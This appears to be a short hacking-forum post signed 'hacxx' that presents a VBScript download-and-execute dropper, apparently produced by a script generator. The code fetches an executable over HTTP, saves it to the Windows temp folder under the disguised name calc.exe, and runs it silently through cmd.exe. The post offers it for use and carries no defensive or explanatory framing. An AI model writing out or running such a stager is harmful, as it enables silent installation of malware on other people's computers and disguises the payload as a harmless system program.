[hacxx]

Code:

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", "http://127.0.0.1/1.exe", False xHttp.Send with bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile "c:\windows\temp\calc.exe", 2 ' end with Set objShell = WScript.CreateObject("WScript.Shell") objShell.Run("cmd.exe /c if exist c:\windows\temp\calc.exe c:\windows\temp\calc.exe"), 0, True

This code was generated with VBS + XMLHTTP 'Download & Execute' Generator available with Hacxx Latest Scripts.